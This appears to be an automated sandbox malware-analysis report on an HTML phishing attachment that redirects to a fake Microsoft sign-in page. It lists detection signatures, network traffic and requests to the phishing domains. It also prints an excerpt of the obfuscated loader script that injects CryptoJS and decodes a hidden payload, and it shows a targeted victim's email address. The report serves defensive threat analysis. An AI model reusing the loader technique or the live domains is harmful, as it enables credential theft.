Edit tour

Windows Analysis Report
Play_VM-NowTingrammAudiowav011.html

Overview

General Information

Sample name:	Play_VM-NowTingrammAudiowav011.html
Analysis ID:	1587740
MD5:	28620f074088647963bfee555e618387
SHA1:	494d6506a00a5edc27e30d17b645d92e1af0a368
SHA256:	e4128affe245b240215e13df1a6662bea12ea7740ebafa53bcef46d2294adc34
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

HTML file submission requesting Cloudflare captcha challenge

AI detected suspicious Javascript

Detected javascript redirector / loader

HTML document with suspicious name

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Stores files to the Windows start menu directory

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6836 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Play_VM-NowTingrammAudiowav011.html MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 7100 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1852,i,16924924304388263434,6221033386687583633,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://k8.komirath.ru/favicon.ico	Avira URL Cloud: Label: phishing
Source: https://k8.komirath.ru/1jVVShGI/	Avira URL Cloud: Label: phishing

Phishing

AI detected suspicious Javascript

Source: 0.1.i.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/Play_VM-NowTingram... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated URLs and the aggressive manipulation of the DOM further increase the risk. While the script may have a legitimate purpose, the overall behavior is highly suspicious and indicative of potential malicious intent.
Source: 0.6.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://k8.komirath.ru/1jVVShGI/#M#Jtingramm@point... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. It collects user data and credentials, and then sends them to an untrusted domain. The script also attempts to bypass form submission, indicating malicious intent. Overall, this script demonstrates a high level of risk and should be considered a potential security threat.
Source: 0.5.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://k8.komirath.ru/1jVVShGI/#M#Jtingramm@point... This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common developer tools and keyboard shortcuts, and redirecting the user to a suspicious domain. The script also includes a self-executing function that uses `setInterval` to repeatedly trigger a `debugger` statement, which could be an attempt to detect and evade analysis. Overall, this script demonstrates a high level of malicious intent and should be considered a significant security risk.
Source: 1.2..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ecohomethings.net/res444.php?2-68747470733... The script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code. While the script appears to be using the CryptoJS library for legitimate cryptographic operations, the overall behavior and lack of transparency raise significant security concerns.
Source: 0.4.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://k8.komirath.ru/1jVVShGI/#M#Jtingramm@point... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent.

Detected javascript redirector / loader

Source: Play_VM-NowTingrammAudiowav011.html

HTTP Parser: Low number of body elements: 0

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721200094159662.ZTBiNTFiOWYtMGYwZC00OWY0LTliMWItOWRmOTYyM2RjYmVkNThmYjg4NWYtZjZkZS00OWQxLWFmY2QtNjE5M2QzY2Y5M2Iy&ui_locales=en-US&mkt=en-US&client-request-id=3fcf73b9-c9dd-4b7f-ab1e-fdb0ed76afb4&state=rsB1YWRQg88fqFsbIoHuzLqEkB9ZWiQQkjP_o7KqBkqZzZm9t-kpxGRO41NWB0f9ZXqFzJwJqcIs5WFXXZWJIW_8thtzcd8IT4nw_GDH0j1sU0WiE16ARG7xSCBbrmxXj7abwhu9KV7fvmz0Lnct9t3_M9Om0IoB4rIuFQ2gPC6m1FMrX07H-wBUtShJJYFuzftBQf-KSAXd4I0jr8tkcyeBK73kF577UhPRgWvBEmER6IJG0ao3TSMSrXgFduuVjwASUd2n-iDEzsO1EcW_Hg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Number of links: 0
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721200094159662.ZTBiNTFiOWYtMGYwZC00OWY0LTliMWItOWRmOTYyM2RjYmVkNThmYjg4NWYtZjZkZS00OWQxLWFmY2QtNjE5M2QzY2Y5M2Iy&ui_locales=en-US&mkt=en-US&client-request-id=3fcf73b9-c9dd-4b7f-ab1e-fdb0ed76afb4&state=rsB1YWRQg88fqFsbIoHuzLqEkB9ZWiQQkjP_o7KqBkqZzZm9t-kpxGRO41NWB0f9ZXqFzJwJqcIs5WFXXZWJIW_8thtzcd8IT4nw_GDH0j1sU0WiE16ARG7xSCBbrmxXj7abwhu9KV7fvmz0Lnct9t3_M9Om0IoB4rIuFQ2gPC6m1FMrX07H-wBUtShJJYFuzftBQf-KSAXd4I0jr8tkcyeBK73kF577UhPRgWvBEmER6IJG0ao3TSMSrXgFduuVjwASUd2n-iDEzsO1EcW_Hg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Number of links: 0

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721200094159662.ZTBiNTFiOWYtMGYwZC00OWY0LTliMWItOWRmOTYyM2RjYmVkNThmYjg4NWYtZjZkZS00OWQxLWFmY2QtNjE5M2QzY2Y5M2Iy&ui_locales=en-US&mkt=en-US&client-request-id=3fcf73b9-c9dd-4b7f-ab1e-fdb0ed76afb4&state=rsB1YWRQg88fqFsbIoHuzLqEkB9ZWiQQkjP_o7KqBkqZzZm9t-kpxGRO41NWB0f9ZXqFzJwJqcIs5WFXXZWJIW_8thtzcd8IT4nw_GDH0j1sU0WiE16ARG7xSCBbrmxXj7abwhu9KV7fvmz0Lnct9t3_M9Om0IoB4rIuFQ2gPC6m1FMrX07H-wBUtShJJYFuzftBQf-KSAXd4I0jr8tkcyeBK73kF577UhPRgWvBEmER6IJG0ao3TSMSrXgFduuVjwASUd2n-iDEzsO1EcW_Hg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0

HTTP Parser: Base64 decoded: e0b51b9f-0f0d-49f4-9b1b-9df9623dcbed58fb885f-f6de-49d1-afcd-6193d3cf93b2

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721200094159662.ZTBiNTFiOWYtMGYwZC00OWY0LTliMWItOWRmOTYyM2RjYmVkNThmYjg4NWYtZjZkZS00OWQxLWFmY2QtNjE5M2QzY2Y5M2Iy&ui_locales=en-US&mkt=en-US&client-request-id=3fcf73b9-c9dd-4b7f-ab1e-fdb0ed76afb4&state=rsB1YWRQg88fqFsbIoHuzLqEkB9ZWiQQkjP_o7KqBkqZzZm9t-kpxGRO41NWB0f9ZXqFzJwJqcIs5WFXXZWJIW_8thtzcd8IT4nw_GDH0j1sU0WiE16ARG7xSCBbrmxXj7abwhu9KV7fvmz0Lnct9t3_M9Om0IoB4rIuFQ2gPC6m1FMrX07H-wBUtShJJYFuzftBQf-KSAXd4I0jr8tkcyeBK73kF577UhPRgWvBEmER6IJG0ao3TSMSrXgFduuVjwASUd2n-iDEzsO1EcW_Hg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Title: Redirecting does not match URL
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721200094159662.ZTBiNTFiOWYtMGYwZC00OWY0LTliMWItOWRmOTYyM2RjYmVkNThmYjg4NWYtZjZkZS00OWQxLWFmY2QtNjE5M2QzY2Y5M2Iy&ui_locales=en-US&mkt=en-US&client-request-id=3fcf73b9-c9dd-4b7f-ab1e-fdb0ed76afb4&state=rsB1YWRQg88fqFsbIoHuzLqEkB9ZWiQQkjP_o7KqBkqZzZm9t-kpxGRO41NWB0f9ZXqFzJwJqcIs5WFXXZWJIW_8thtzcd8IT4nw_GDH0j1sU0WiE16ARG7xSCBbrmxXj7abwhu9KV7fvmz0Lnct9t3_M9Om0IoB4rIuFQ2gPC6m1FMrX07H-wBUtShJJYFuzftBQf-KSAXd4I0jr8tkcyeBK73kF577UhPRgWvBEmER6IJG0ao3TSMSrXgFduuVjwASUd2n-iDEzsO1EcW_Hg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Title: Sign in to your account does not match URL

Source: https://ecohomethings.net/res444.php?2-68747470733a2f2f4b382e6b6f6d69726174682e72752f316a5656536847492f-starwort

HTTP Parser: var tejvvktnjeiscogi = document.createelement("script");tejvvktnjeiscogi.setattribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(tejvvktnjeiscogi);tejvvktnjeiscogi.onload=function(){var {a,b,c,d} = json.parse(atob("eyjhijoizg50exbtwhf4mtbrsmxpt3ncl0rqzzr5sjvwrjh5qw81enlry2vcrjlzsu1idw5vmxdky0vwnmdvue9dzmjrzxzxuzvwdg1qohj2efu5t0pvbmhdb2nkr1dam1g0cunvruwwnzzydvwvajb6xc90txzomghxsxvobuewdvqxu1owtxdvngvlsctsmdlqmzvtwjhevldiwkxbbep1ovjdnkzmvxdvswxhou5ym0lxy0lvb3pynwf1bwnlzejpn3fdruros0vkevo0tez5y1a1nudcl0thv0nqnfwvxc9zutfgdmpmeuh5shhyqlpjcg1osg81rfwvsjhendrrowpnexlamjdka1zwbm1pqxjyd2j3cxj3xc9ycxhhwtu2eg5zcvlosvfuttrpnjdkrnlfbgdcl2jxuujat1dkwmn2cfjsrhbak29hu1djatezukd0s2rvrvd6rxc5aznwzmpsa0xuzstkmnlvsnpjb1lwwluxbeorundmnvjdzul1tmg0ujv4rezmt1m0yjjwyxbfr3htvmf5thruuwzps2ntsmzktvjvrjfzemjmeddjdnfsnxnhnjnfovrmrnu2yytuquc4edi0n1lsam1ubwn1yzj4qzgxanrot0rizhjmtzbqnfvnahrla2hsb0tprkzly0zwbfpxsffcy0jtytznajgzthfjyvy3vvllzmphm2hclzr4sty3zufmnerooeqwcdf6tu...

HTTP Parser: <input type="password" .../> found

Source: Play_VM-NowTingrammAudiowav011.html	HTTP Parser: No favicon
Source: https://k8.komirath.ru/1jVVShGI/#M#Jtingramm@pointloma.edu	HTTP Parser: No favicon
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721200094159662.ZTBiNTFiOWYtMGYwZC00OWY0LTliMWItOWRmOTYyM2RjYmVkNThmYjg4NWYtZjZkZS00OWQxLWFmY2QtNjE5M2QzY2Y5M2Iy&ui_locales=en-US&mkt=en-US&client-request-id=3fcf73b9-c9dd-4b7f-ab1e-fdb0ed76afb4&state=rsB1YWRQg88fqFsbIoHuzLqEkB9ZWiQQkjP_o7KqBkqZzZm9t-kpxGRO41NWB0f9ZXqFzJwJqcIs5WFXXZWJIW_8thtzcd8IT4nw_GDH0j1sU0WiE16ARG7xSCBbrmxXj7abwhu9KV7fvmz0Lnct9t3_M9Om0IoB4rIuFQ2gPC6m1FMrX07H-wBUtShJJYFuzftBQf-KSAXd4I0jr8tkcyeBK73kF577UhPRgWvBEmER6IJG0ao3TSMSrXgFduuVjwASUd2n-iDEzsO1EcW_Hg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No favicon

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721200094159662.ZTBiNTFiOWYtMGYwZC00OWY0LTliMWItOWRmOTYyM2RjYmVkNThmYjg4NWYtZjZkZS00OWQxLWFmY2QtNjE5M2QzY2Y5M2Iy&ui_locales=en-US&mkt=en-US&client-request-id=3fcf73b9-c9dd-4b7f-ab1e-fdb0ed76afb4&state=rsB1YWRQg88fqFsbIoHuzLqEkB9ZWiQQkjP_o7KqBkqZzZm9t-kpxGRO41NWB0f9ZXqFzJwJqcIs5WFXXZWJIW_8thtzcd8IT4nw_GDH0j1sU0WiE16ARG7xSCBbrmxXj7abwhu9KV7fvmz0Lnct9t3_M9Om0IoB4rIuFQ2gPC6m1FMrX07H-wBUtShJJYFuzftBQf-KSAXd4I0jr8tkcyeBK73kF577UhPRgWvBEmER6IJG0ao3TSMSrXgFduuVjwASUd2n-iDEzsO1EcW_Hg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721200094159662.ZTBiNTFiOWYtMGYwZC00OWY0LTliMWItOWRmOTYyM2RjYmVkNThmYjg4NWYtZjZkZS00OWQxLWFmY2QtNjE5M2QzY2Y5M2Iy&ui_locales=en-US&mkt=en-US&client-request-id=3fcf73b9-c9dd-4b7f-ab1e-fdb0ed76afb4&state=rsB1YWRQg88fqFsbIoHuzLqEkB9ZWiQQkjP_o7KqBkqZzZm9t-kpxGRO41NWB0f9ZXqFzJwJqcIs5WFXXZWJIW_8thtzcd8IT4nw_GDH0j1sU0WiE16ARG7xSCBbrmxXj7abwhu9KV7fvmz0Lnct9t3_M9Om0IoB4rIuFQ2gPC6m1FMrX07H-wBUtShJJYFuzftBQf-KSAXd4I0jr8tkcyeBK73kF577UhPRgWvBEmER6IJG0ao3TSMSrXgFduuVjwASUd2n-iDEzsO1EcW_Hg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721200094159662.ZTBiNTFiOWYtMGYwZC00OWY0LTliMWItOWRmOTYyM2RjYmVkNThmYjg4NWYtZjZkZS00OWQxLWFmY2QtNjE5M2QzY2Y5M2Iy&ui_locales=en-US&mkt=en-US&client-request-id=3fcf73b9-c9dd-4b7f-ab1e-fdb0ed76afb4&state=rsB1YWRQg88fqFsbIoHuzLqEkB9ZWiQQkjP_o7KqBkqZzZm9t-kpxGRO41NWB0f9ZXqFzJwJqcIs5WFXXZWJIW_8thtzcd8IT4nw_GDH0j1sU0WiE16ARG7xSCBbrmxXj7abwhu9KV7fvmz0Lnct9t3_M9Om0IoB4rIuFQ2gPC6m1FMrX07H-wBUtShJJYFuzftBQf-KSAXd4I0jr8tkcyeBK73kF577UhPRgWvBEmER6IJG0ao3TSMSrXgFduuVjwASUd2n-iDEzsO1EcW_Hg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721200094159662.ZTBiNTFiOWYtMGYwZC00OWY0LTliMWItOWRmOTYyM2RjYmVkNThmYjg4NWYtZjZkZS00OWQxLWFmY2QtNjE5M2QzY2Y5M2Iy&ui_locales=en-US&mkt=en-US&client-request-id=3fcf73b9-c9dd-4b7f-ab1e-fdb0ed76afb4&state=rsB1YWRQg88fqFsbIoHuzLqEkB9ZWiQQkjP_o7KqBkqZzZm9t-kpxGRO41NWB0f9ZXqFzJwJqcIs5WFXXZWJIW_8thtzcd8IT4nw_GDH0j1sU0WiE16ARG7xSCBbrmxXj7abwhu9KV7fvmz0Lnct9t3_M9Om0IoB4rIuFQ2gPC6m1FMrX07H-wBUtShJJYFuzftBQf-KSAXd4I0jr8tkcyeBK73kF577UhPRgWvBEmER6IJG0ao3TSMSrXgFduuVjwASUd2n-iDEzsO1EcW_Hg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721200094159662.ZTBiNTFiOWYtMGYwZC00OWY0LTliMWItOWRmOTYyM2RjYmVkNThmYjg4NWYtZjZkZS00OWQxLWFmY2QtNjE5M2QzY2Y5M2Iy&ui_locales=en-US&mkt=en-US&client-request-id=3fcf73b9-c9dd-4b7f-ab1e-fdb0ed76afb4&state=rsB1YWRQg88fqFsbIoHuzLqEkB9ZWiQQkjP_o7KqBkqZzZm9t-kpxGRO41NWB0f9ZXqFzJwJqcIs5WFXXZWJIW_8thtzcd8IT4nw_GDH0j1sU0WiE16ARG7xSCBbrmxXj7abwhu9KV7fvmz0Lnct9t3_M9Om0IoB4rIuFQ2gPC6m1FMrX07H-wBUtShJJYFuzftBQf-KSAXd4I0jr8tkcyeBK73kF577UhPRgWvBEmER6IJG0ao3TSMSrXgFduuVjwASUd2n-iDEzsO1EcW_Hg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721200094159662.ZTBiNTFiOWYtMGYwZC00OWY0LTliMWItOWRmOTYyM2RjYmVkNThmYjg4NWYtZjZkZS00OWQxLWFmY2QtNjE5M2QzY2Y5M2Iy&ui_locales=en-US&mkt=en-US&client-request-id=3fcf73b9-c9dd-4b7f-ab1e-fdb0ed76afb4&state=rsB1YWRQg88fqFsbIoHuzLqEkB9ZWiQQkjP_o7KqBkqZzZm9t-kpxGRO41NWB0f9ZXqFzJwJqcIs5WFXXZWJIW_8thtzcd8IT4nw_GDH0j1sU0WiE16ARG7xSCBbrmxXj7abwhu9KV7fvmz0Lnct9t3_M9Om0IoB4rIuFQ2gPC6m1FMrX07H-wBUtShJJYFuzftBQf-KSAXd4I0jr8tkcyeBK73kF577UhPRgWvBEmER6IJG0ao3TSMSrXgFduuVjwASUd2n-iDEzsO1EcW_Hg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: global traffic	TCP traffic: 192.168.2.17:63274 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.17:63289 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 104.21.42.208 104.21.42.208
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /res444.php?2-68747470733a2f2f4b382e6b6f6d69726174682e72752f316a5656536847492f-starwort HTTP/1.1Host: ecohomethings.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res444.php?2-68747470733a2f2f4b382e6b6f6d69726174682e72752f316a5656536847492f-starwort HTTP/1.1Host: ecohomethings.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1jVVShGI/ HTTP/1.1Host: k8.komirath.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://k8.komirath.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
